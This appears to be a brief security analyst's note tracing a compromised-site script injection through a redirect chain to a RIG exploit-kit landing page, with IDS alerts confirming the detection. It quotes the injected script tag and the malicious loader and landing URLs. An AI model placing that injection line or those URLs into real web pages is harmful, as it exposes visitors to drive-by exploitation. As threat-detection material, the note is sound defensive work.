<script language="JavaScript" src="http://realstatistics.info/js/analytic.php?id=4"></script>
leads to:
http://realstatistics.info/js/analytic.php?id=4&tz=3&rs=3840x2160
leads to:
http://ffodizas.dyndns.biz/?wHeLf7iVJRzPDos=l3SKfPrfJxzFGMSUb-nJDa9BMkXCRQLPh4SGhK_ZHoCvfTO-07KXDRzy9UKtLCmy9-x-cvAFUkG42ireLkJ_3NYdQFFQ_ayknAWKkkPCkpzB9xaPaxgTqpTBFuJp3A-hnrIRcp8mx0eDvzJTyblPAFtB4A1Cz7zAWw

is RIG landing page...
06/23/2016-08:13:02.019641  [**] [1:2020722:3] ET CURRENT_EVENTS RIG Landing URI Struct March 20 2015 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.16.0.132:49941 -> 5.61.37.139:80
06/23/2016-08:13:02.019641  [**] [1:2013097:7] ET INFO DYNAMIC_DNS HTTP Request to a *.dyndns.* domain [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.16.0.132:49941 -> 5.61.37.139:80
06/23/2016-08:13:02.022468  [**] [1:2820090:3] ETPRO CURRENT_EVENTS Sundown/Xer EK Landing May 05 2016 (b642) [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 5.61.37.139:80 -> 172.16.0.132:49941
06/23/2016-08:13:02.022468  [**] [1:2816025:2] ETPRO CURRENT_EVENTS RIG EK Landing Jan 29 M3 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 5.61.37.139:80 -> 172.16.0.132:49941